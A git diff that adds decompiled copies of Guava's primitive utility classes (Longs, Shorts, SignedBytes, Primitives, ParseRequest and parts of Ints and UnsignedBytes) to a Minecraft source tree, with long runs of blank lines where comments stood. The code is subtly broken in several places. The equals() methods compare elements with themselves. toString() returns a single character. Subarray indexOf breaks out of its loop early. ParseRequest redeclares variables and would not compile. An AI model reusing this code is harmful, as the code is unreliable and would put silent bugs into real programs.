+    for (int i = 0; i <= 9; i++) {
+      asciiDigits[(48 + i)] = ((byte)i);
+    }
+    for (int i = 0; i <= 26; i++) {
+      asciiDigits[(65 + i)] = ((byte)(10 + i));
+      asciiDigits[(97 + i)] = ((byte)(10 + i));
+    }
+  }
+  
+  private static int digit(char c) {
+    return c < '€' ? asciiDigits[c] : -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckForNull
+  @Beta
+  @GwtIncompatible("TODO")
+  public static Integer tryParse(String string)
+  {
+    return tryParse(string, 10);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckForNull
+  @GwtIncompatible("TODO")
+  static Integer tryParse(String string, int radix)
+  {
+    if (((String)Preconditions.checkNotNull(string)).isEmpty()) {
+      return null;
+    }
+    if ((radix < 2) || (radix > 36)) {
+      throw new IllegalArgumentException("radix must be between MIN_RADIX and MAX_RADIX but was " + radix);
+    }
+    
+    boolean negative = string.charAt(0) == '-';
+    int index = negative ? 1 : 0;
+    if (index == string.length()) {
+      return null;
+    }
+    int digit = digit(string.charAt(index++));
+    if ((digit < 0) || (digit >= radix)) {
+      return null;
+    }
+    int accum = -digit;
+    
+    int cap = Integer.MIN_VALUE / radix;
+    
+    while (index < string.length()) {
+      digit = digit(string.charAt(index++));
+      if ((digit < 0) || (digit >= radix) || (accum < cap)) {
+        return null;
+      }
+      accum *= radix;
+      if (accum < Integer.MIN_VALUE + digit) {
+        return null;
+      }
+      accum -= digit;
+    }
+    
+    if (negative)
+      return Integer.valueOf(accum);
+    if (accum == Integer.MIN_VALUE) {
+      return null;
+    }
+    return Integer.valueOf(-accum);
+  }
+  
+  private Ints() {}
+}
diff --git a/src/minecraft/com/google/common/primitives/Longs.java b/src/minecraft/com/google/common/primitives/Longs.java
new file mode 100644
index 0000000..419f420
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Longs.java
@@ -0,0 +1,669 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Converter;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Longs
+{
+  public static final int BYTES = 8;
+  public static final long MAX_POWER_OF_TWO = 4611686018427387904L;
+  
+  private Longs() {}
+  
+  public static int hashCode(long value)
+  {
+    return (int)(value ^ value >>> 32);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(long a, long b)
+  {
+    return a > b ? 1 : a < b ? -1 : 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean contains(long[] array, long target)
+  {
+    for (long value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int indexOf(long[] array, long target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(long[] array, long target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(long[] array, long[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label65:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label65;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(long[] array, long target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(long[] array, long target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static long min(long... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    long min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] < min) {
+        min = array[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+  public static long max(long... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    long max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] > max) {
+        max = array[i];
+      }
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static long[] concat(long[]... arrays)
+  {
+    int length = 0;
+    for (long[] array : arrays) {
+      length += array.length;
+    }
+    long[] result = new long[length];
+    int pos = 0;
+    for (long[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte[] toByteArray(long value)
+  {
+    byte[] result = new byte[8];
+    for (int i = 7; i >= 0; i--) {
+      result[i] = ((byte)(int)(value & 0xFF));
+      value >>= 8;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long fromByteArray(byte[] bytes)
+  {
+    Preconditions.checkArgument(bytes.length >= 8, "array too small: %s < %s", new Object[] { Integer.valueOf(bytes.length), Integer.valueOf(8) });
+    
+    return fromBytes(bytes[0], bytes[1], bytes[2], bytes[3], bytes[4], bytes[5], bytes[6], bytes[7]);
+  }
+  
+
+
+
+
+
+
+
+
+  public static long fromBytes(byte b1, byte b2, byte b3, byte b4, byte b5, byte b6, byte b7, byte b8)
+  {
+    return (b1 & 0xFF) << 56 | (b2 & 0xFF) << 48 | (b3 & 0xFF) << 40 | (b4 & 0xFF) << 32 | (b5 & 0xFF) << 24 | (b6 & 0xFF) << 16 | (b7 & 0xFF) << 8 | b8 & 0xFF;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static Long tryParse(String string)
+  {
+    if (((String)Preconditions.checkNotNull(string)).isEmpty()) {
+      return null;
+    }
+    boolean negative = string.charAt(0) == '-';
+    int index = negative ? 1 : 0;
+    if (index == string.length()) {
+      return null;
+    }
+    int digit = string.charAt(index++) - '0';
+    if ((digit < 0) || (digit > 9)) {
+      return null;
+    }
+    long accum = -digit;
+    while (index < string.length()) {
+      digit = string.charAt(index++) - '0';
+      if ((digit < 0) || (digit > 9) || (accum < -922337203685477580L)) {
+        return null;
+      }
+      accum *= 10L;
+      if (accum < Long.MIN_VALUE + digit) {
+        return null;
+      }
+      accum -= digit;
+    }
+    
+    if (negative)
+      return Long.valueOf(accum);
+    if (accum == Long.MIN_VALUE) {
+      return null;
+    }
+    return Long.valueOf(-accum);
+  }
+  
+  private static final class LongConverter extends Converter<String, Long> implements Serializable
+  {
+    static final LongConverter INSTANCE = new LongConverter();
+    
+    private LongConverter() {}
+    
+    protected Long doForward(String value) { return Long.decode(value); }
+    
+
+    protected String doBackward(Long value)
+    {
+      return value.toString();
+    }
+    
+    public String toString()
+    {
+      return "Longs.stringConverter()";
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+
+
+    private static final long serialVersionUID = 1L;
+  }
+  
+
+
+  @Beta
+  public static Converter<String, Long> stringConverter()
+  {
+    return LongConverter.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long[] ensureCapacity(long[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static long[] copyOf(long[] original, int length)
+  {
+    long[] copy = new long[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String join(String separator, long... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 10);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<long[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<long[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(long[] left, long[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Longs.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long[] toArray(Collection<? extends Number> collection)
+  {
+    if ((collection instanceof LongArrayAsList)) {
+      return ((LongArrayAsList)collection).toLongArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    long[] array = new long[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Number)Preconditions.checkNotNull(boxedArray[i])).longValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Long> asList(long... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new LongArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class LongArrayAsList extends AbstractList<Long> implements RandomAccess, Serializable {
+    final long[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    LongArrayAsList(long[] array) {
+      this(array, 0, array.length);
+    }
+    
+    LongArrayAsList(long[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Long get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Long.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Long)) && (Longs.indexOf(array, ((Long)target).longValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Long)) {
+        int i = Longs.indexOf(array, ((Long)target).longValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Long)) {
+        int i = Longs.lastIndexOf(array, ((Long)target).longValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Long set(int index, Long element) {
+      Preconditions.checkElementIndex(index, size());
+      long oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Long)Preconditions.checkNotNull(element)).longValue();
+      return Long.valueOf(oldValue);
+    }
+    
+    public List<Long> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new LongArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof LongArrayAsList)) {
+        LongArrayAsList that = (LongArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Longs.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 10);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    long[] toLongArray()
+    {
+      int size = size();
+      long[] result = new long[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/ParseRequest.java b/src/minecraft/com/google/common/primitives/ParseRequest.java
new file mode 100644
index 0000000..5ad2fa0
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/ParseRequest.java
@@ -0,0 +1,57 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class ParseRequest
+{
+  final String rawValue;
+  final int radix;
+  
+  private ParseRequest(String rawValue, int radix)
+  {
+    this.rawValue = rawValue;
+    this.radix = radix;
+  }
+  
+  static ParseRequest fromString(String stringValue) {
+    if (stringValue.length() == 0) {
+      throw new NumberFormatException("empty string");
+    }
+    
+
+
+
+    char firstChar = stringValue.charAt(0);
+    int radix; String rawValue; int radix; if ((stringValue.startsWith("0x")) || (stringValue.startsWith("0X"))) {
+      String rawValue = stringValue.substring(2);
+      radix = 16; } else { int radix;
+      if (firstChar == '#') {
+        String rawValue = stringValue.substring(1);
+        radix = 16; } else { int radix;
+        if ((firstChar == '0') && (stringValue.length() > 1)) {
+          String rawValue = stringValue.substring(1);
+          radix = 8;
+        } else {
+          rawValue = stringValue;
+          radix = 10;
+        }
+      } }
+    return new ParseRequest(rawValue, radix);
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/Primitives.java b/src/minecraft/com/google/common/primitives/Primitives.java
new file mode 100644
index 0000000..56508e5
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Primitives.java
@@ -0,0 +1,136 @@
+package com.google.common.primitives;
+
+import com.google.common.base.Preconditions;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Primitives
+{
+  private static final Map<Class<?>, Class<?>> PRIMITIVE_TO_WRAPPER_TYPE;
+  private static final Map<Class<?>, Class<?>> WRAPPER_TO_PRIMITIVE_TYPE;
+  
+  static
+  {
+    Map<Class<?>, Class<?>> primToWrap = new HashMap(16);
+    Map<Class<?>, Class<?>> wrapToPrim = new HashMap(16);
+    
+    add(primToWrap, wrapToPrim, Boolean.TYPE, Boolean.class);
+    add(primToWrap, wrapToPrim, Byte.TYPE, Byte.class);
+    add(primToWrap, wrapToPrim, Character.TYPE, Character.class);
+    add(primToWrap, wrapToPrim, Double.TYPE, Double.class);
+    add(primToWrap, wrapToPrim, Float.TYPE, Float.class);
+    add(primToWrap, wrapToPrim, Integer.TYPE, Integer.class);
+    add(primToWrap, wrapToPrim, Long.TYPE, Long.class);
+    add(primToWrap, wrapToPrim, Short.TYPE, Short.class);
+    add(primToWrap, wrapToPrim, Void.TYPE, Void.class);
+    
+    PRIMITIVE_TO_WRAPPER_TYPE = Collections.unmodifiableMap(primToWrap);
+    WRAPPER_TO_PRIMITIVE_TYPE = Collections.unmodifiableMap(wrapToPrim);
+  }
+  
+  private static void add(Map<Class<?>, Class<?>> forward, Map<Class<?>, Class<?>> backward, Class<?> key, Class<?> value)
+  {
+    forward.put(key, value);
+    backward.put(value, key);
+  }
+  
+
+
+
+
+
+
+  public static Set<Class<?>> allPrimitiveTypes()
+  {
+    return PRIMITIVE_TO_WRAPPER_TYPE.keySet();
+  }
+  
+
+
+
+
+
+  public static Set<Class<?>> allWrapperTypes()
+  {
+    return WRAPPER_TO_PRIMITIVE_TYPE.keySet();
+  }
+  
+
+
+
+
+
+  public static boolean isWrapperType(Class<?> type)
+  {
+    return WRAPPER_TO_PRIMITIVE_TYPE.containsKey(Preconditions.checkNotNull(type));
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> Class<T> wrap(Class<T> type)
+  {
+    Preconditions.checkNotNull(type);
+    
+
+
+    Class<T> wrapped = (Class)PRIMITIVE_TO_WRAPPER_TYPE.get(type);
+    return wrapped == null ? type : wrapped;
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> Class<T> unwrap(Class<T> type)
+  {
+    Preconditions.checkNotNull(type);
+    
+
+
+    Class<T> unwrapped = (Class)WRAPPER_TO_PRIMITIVE_TYPE.get(type);
+    return unwrapped == null ? type : unwrapped;
+  }
+  
+  private Primitives() {}
+}
diff --git a/src/minecraft/com/google/common/primitives/Shorts.java b/src/minecraft/com/google/common/primitives/Shorts.java
new file mode 100644
index 0000000..d29f133
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Shorts.java
@@ -0,0 +1,635 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Converter;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Shorts
+{
+  public static final int BYTES = 2;
+  public static final short MAX_POWER_OF_TWO = 16384;
+  
+  private Shorts() {}
+  
+  public static int hashCode(short value)
+  {
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+  public static short checkedCast(long value)
+  {
+    short result = (short)(int)value;
+    if (result != value)
+    {
+      throw new IllegalArgumentException("Out of range: " + value);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public static short saturatedCast(long value)
+  {
+    if (value > 32767L) {
+      return Short.MAX_VALUE;
+    }
+    if (value < -32768L) {
+      return Short.MIN_VALUE;
+    }
+    return (short)(int)value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(short a, short b)
+  {
+    return a - b;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean contains(short[] array, short target)
+  {
+    for (short value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int indexOf(short[] array, short target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(short[] array, short target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(short[] array, short[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label64:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label64;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(short[] array, short target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(short[] array, short target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static short min(short... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    short min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] < min) {
+        min = array[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+  public static short max(short... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    short max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] > max) {
+        max = array[i];
+      }
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static short[] concat(short[]... arrays)
+  {
+    int length = 0;
+    for (short[] array : arrays) {
+      length += array.length;
+    }
+    short[] result = new short[length];
+    int pos = 0;
+    for (short[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static byte[] toByteArray(short value)
+  {
+    return new byte[] { (byte)(value >> 8), (byte)value };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static short fromByteArray(byte[] bytes)
+  {
+    Preconditions.checkArgument(bytes.length >= 2, "array too small: %s < %s", new Object[] { Integer.valueOf(bytes.length), Integer.valueOf(2) });
+    
+    return fromBytes(bytes[0], bytes[1]);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static short fromBytes(byte b1, byte b2)
+  {
+    return (short)(b1 << 8 | b2 & 0xFF);
+  }
+  
+  private static final class ShortConverter extends Converter<String, Short> implements Serializable
+  {
+    static final ShortConverter INSTANCE = new ShortConverter();
+    
+    private ShortConverter() {}
+    
+    protected Short doForward(String value) { return Short.decode(value); }
+    
+
+    protected String doBackward(Short value)
+    {
+      return value.toString();
+    }
+    
+    public String toString()
+    {
+      return "Shorts.stringConverter()";
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+
+
+    private static final long serialVersionUID = 1L;
+  }
+  
+
+
+  @Beta
+  public static Converter<String, Short> stringConverter()
+  {
+    return ShortConverter.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static short[] ensureCapacity(short[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static short[] copyOf(short[] original, int length)
+  {
+    short[] copy = new short[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String join(String separator, short... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 6);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<short[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<short[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(short[] left, short[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Shorts.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static short[] toArray(Collection<? extends Number> collection)
+  {
+    if ((collection instanceof ShortArrayAsList)) {
+      return ((ShortArrayAsList)collection).toShortArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    short[] array = new short[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Number)Preconditions.checkNotNull(boxedArray[i])).shortValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Short> asList(short... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new ShortArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class ShortArrayAsList extends AbstractList<Short> implements RandomAccess, Serializable {
+    final short[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    ShortArrayAsList(short[] array) {
+      this(array, 0, array.length);
+    }
+    
+    ShortArrayAsList(short[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Short get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Short.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Short)) && (Shorts.indexOf(array, ((Short)target).shortValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Short)) {
+        int i = Shorts.indexOf(array, ((Short)target).shortValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Short)) {
+        int i = Shorts.lastIndexOf(array, ((Short)target).shortValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Short set(int index, Short element) {
+      Preconditions.checkElementIndex(index, size());
+      short oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Short)Preconditions.checkNotNull(element)).shortValue();
+      return Short.valueOf(oldValue);
+    }
+    
+    public List<Short> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new ShortArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof ShortArrayAsList)) {
+        ShortArrayAsList that = (ShortArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Shorts.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 6);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    short[] toShortArray()
+    {
+      int size = size();
+      short[] result = new short[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/SignedBytes.java b/src/minecraft/com/google/common/primitives/SignedBytes.java
new file mode 100644
index 0000000..6b6dd93
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/SignedBytes.java
@@ -0,0 +1,202 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class SignedBytes
+{
+  public static final byte MAX_POWER_OF_TWO = 64;
+  
+  private SignedBytes() {}
+  
+  public static byte checkedCast(long value)
+  {
+    byte result = (byte)(int)value;
+    if (result != value)
+    {
+      throw new IllegalArgumentException("Out of range: " + value);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public static byte saturatedCast(long value)
+  {
+    if (value > 127L) {
+      return Byte.MAX_VALUE;
+    }
+    if (value < -128L) {
+      return Byte.MIN_VALUE;
+    }
+    return (byte)(int)value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(byte a, byte b)
+  {
+    return a - b;
+  }
+  
+
+
+
+
+
+
+
+  public static byte min(byte... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    byte min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] < min) {
+        min = array[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+  public static byte max(byte... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    byte max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] > max) {
+        max = array[i];
+      }
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String join(String separator, byte... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 5);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<byte[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<byte[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(byte[] left, byte[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = SignedBytes.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/UnsignedBytes.java b/src/minecraft/com/google/common/primitives/UnsignedBytes.java
new file mode 100644
index 0000000..9548407
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/UnsignedBytes.java
@@ -0,0 +1,441 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.lang.reflect.Field;
+import java.nio.ByteOrder;
+import java.security.AccessController;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
